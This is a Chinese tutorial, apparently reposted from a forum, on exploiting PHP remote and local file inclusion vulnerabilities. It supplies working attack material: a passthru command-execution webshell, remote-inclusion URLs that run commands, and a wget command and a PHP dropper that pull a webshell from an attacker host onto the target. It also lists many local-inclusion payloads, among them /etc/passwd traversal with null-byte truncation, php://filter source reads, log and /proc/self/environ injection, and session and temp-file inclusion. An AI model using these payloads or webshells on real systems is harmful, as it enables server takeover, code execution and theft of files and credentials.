文件包含漏洞詳解

http://tieba.baidu.com/p/2310282657

什么是”遠程文件包含漏洞”?服務器通過php的特性(函數)去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。

一、什么才是”遠程文件包含漏洞”?

回答是:服務器通過php的特性(函數)去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。

涉及到的危險函數:include(),require()和include_once(),require_once()

Include:包含并運行指定文件,當包含外部文件發生錯誤時,系統給出警告,但整個php文件繼續執行。

Require:跟include唯一不同的是,當產生錯誤時候,include下面繼續運行而require停止運行了。

Include_once:這個函數跟include函數作用幾乎相同,只是他在導入函數之前先檢測下該文件是否被導入。如果已經執行一遍那么就不重復執行了。

Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重復了。

php.ini配置文件:allow_url_fopen=off 即不可以包含遠程文件。Php4存在遠程&本地,php5僅存在本地包含。

二、為什么要包含文件?

程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比 如 share.php,而后在其它文件進行包含調用。在php里,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想 在 main.php里包含share.php,我將這樣寫include(“share.php”)就達到目的,然后就可以使用share.php中的 函數了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現漏洞,那么問題到底是出在哪里呢?

有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:

if ($_GET[page]) {

include $_GET[page];

} else {

include ”home.php”;

}

很正常的一段PHP代碼,它是怎么運作的呢?

上面這段代碼的使用格式可能是這樣的:

http://hi.baidu.com/m4r10/php/index.php?page=main.php或者

http://hi.baidu.com/m4r10/php/index.php?page=downloads.php

結合上面代碼,簡單說下怎么運作的:

1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。

2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。

3.若$_GET[page]空的話就執行else,來 include ”home.php” 這個文件。

2.遠程文件包含可運行的PHP木馬

如果目標主機的”allow_url_fopen”是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它 URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼,如下保存為cmd.txt(后綴不重要,只要內容為 PHP格式就可以了)。

if (get_magic_quotes_gpc()){

$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字符(可去掉字符串中的反斜線字符)

ini_set(“max_execution_time”,0); //設定針對這個文件的執行時間,0為不限制.

echo ”M4R10開始行”; //打印的返回的開始行提示信息

passthru($_REQUEST["cmd"]); //運行cmd指定的命令

echo ”M4R10結束行”; //打印的返回的結束行提示信息

?>

以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在M4R10開始行與M4R10結束行之間。把這個文件 保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我們就可以在那個漏洞主機上構造如下URL來利用了:

http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls

其中cmd后面的就是你需要執行的命令,其它常 用的命令(以*UNIX為例)如下:

ll 列目錄、文件(相當于Windows下dir)

pwd 查看當前絕對路徑

id whoami 查看當前用戶

wget 下載指定URL的文件

等等其它的,你主機去BAIDU找吧,就不列舉了。

3.包含一個創建文件的PHP文件(常用)

也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那 個” 偽”Webshell了,不是么?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法:

1)使用wget之類的命令來下載一個Webshell

這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那么我們也可以調用系統中的一個很厲害的角色,wget, 這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那么復雜,我們就使用一個 -O(–output- document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。

前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比 如:http://www.xxx.cn/m4r10.txt,這個文件里寫的就是Webshell的內容。然后我們在前面得到的偽 Webshell中 執行如下的URL:

http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt-O m4r10.php

如果當前目錄可寫,就能得到 一個叫做m4r10.php的Webshell了,如果當前目錄不可寫,還需要想其它的辦法。

2)使用文件來創建

前面的wget可能會遇到當前目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含文件漏洞來包含一個創建文件(寫文件)的PHP腳本,內容如下:

$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打開指定路徑的文件流

$ff=fopen(“./upload/m4r10.php”,”a”); //尋找一個可以的目錄,創建一個文件

fwrite ($ff,$f);  //把前面打開的文件流寫到創建的文件里

fclose($ff);  //關閉保存文件

?>

還是寫入我們上面用wget下載的那個php文件,但是我們改進了方法,用PHP腳本來實現,可以使用上面的cmd.php?cmd=ll查找可以 寫的目錄,比如這里的upload,然后把文件創建在這個目錄下:./upload/m4r10.php。然后就得到我們的Webshell了。

4.本地文件包含(常用)

典型的漏洞代碼:

include($_GET['pages'].‘.php’);

?>

黑盒判斷方法:

單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞。

本地包含漏洞的利用(這里先忽略截斷問題,下面會將截斷的方法)

1、包含同服務器中上傳的jpg、txt、rar等文件,這個是最理想的情況了。

2、包含系統的各種日志,如apache日志,文件系統日志等 其中apache當記錄格式為combined,一般日志都會很大,基本無法包含成功。包含log是有自動化攻擊程序的。

其中鬼子的博客中有提到一個空格的問題。見:《邪惡的空格-PHP本地文件包含漏洞的新突破口》http://huaidan.org/archives/1144.html

解決空格問題其實把一句話base64加密后再寫入就可以執行了。

3、包含 /proc/self/environ . 這個環境變量有訪問web的session信息和包含user-agent的參數。user-agent在客戶端是可以修改的。參考:《Shell via LFI – proc/self/environ method》

http://hi.baidu.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html

4、包含由php程序本身生成的文件,緩存、模版等,開源的程序成功率大。

5、利用本地包含讀取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源碼如下:

index.php?pages=php://filter/read=convert.base64-encode/resource=config

特別的情況用到readfile() 函數不是包含執行,可以直接讀源碼。

6、利用phpinfo頁面getshell。一般大組織的web群存在phpinfo的機會挺大的。

poc和介紹參考:

《利用phpinfo信息LFI臨時文件》

http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html

7、利用包含出錯,或者包含有未初始化變量的PHP文件,只要變量未初始化就可能再次攻擊 具體見:

《include()本地文件包含漏洞隨想》

http://www.2cto.com/Article/200809/29748.html

8、結合跨站使用

index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode(要考慮域信任問題)

9、包含臨時文件文件。這個方法很麻煩的。參考:

《POST method uploads》

http://www.php.net/manual/en/features.file-upload.post-method.php

解決臨時文件刪除方法:慢連接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默認最大一次上傳20個)

windows格式:win下最長4個隨機字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp

linux格式:6個隨機字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA

慢連接的兩種上傳代碼參考:

《PHP安全之LFI漏洞GetShell方法大閱兵》

http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm

10、當前實在找不到寫權限目錄時候,注入到log中再尋找寫權限目錄。如注入到log.

Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname

windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir

具體參考《PHP本地文件包含(LFI)漏洞利用》

http://kingbase.org/blog/php_local_file_inclusion_exploit

11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html其中文中提到的allow_url_fopen和allow_url_include只是保護了against URL handles標記為URL.這影響了http(s) and ftp(s)但是并沒有影響php或date 這些url形式。

12、LFI判斷目錄是否存在和列目錄,如

**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

**這個方法在TTYshell上是可以完全是可以判斷的,但是在URL上有時候不可行。即使不存在dossierexistant也可以回顯passwd內容。

index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目錄

**存在邏輯判斷的時候,如不存在該目錄就會返回header.php+File not found+footer.php 存在就會返回header.php+footer.php。這種邏輯很符合程序員的習慣。曾經用找到了一個目錄很深的日志獲得shell。

13、包含SESSION文件,php保存格式 sess_SESSIONID 默認位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。

14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 (擁有者為root,默認情況要root才能訪問)

具體參考:

Local File Inclusion – 《Tricks of the Trade》

http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/

還有其他提到包含/var/log/auth.log的,但是這個文件默認情況也是644.

15、包含maillog 通常位置/var/log/maillog 這個方法也很雞肋,具體參考:

《local file inclusion tricks 》

鏈接找不到了

16、包含固定的文件,非常雞肋,為了完整性也提下。如:可用中間人攻擊。

突破限制截斷后面的字符串技巧

利用本地包含時常常需要用%00來截斷后面的字符串,但在GPC為ON時%00是會被轉義的,那么還有其他方法么?

用一定數量的/突破操作系統對文件名的長度限制來截斷后面的字符串(推測相對路徑可用)

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容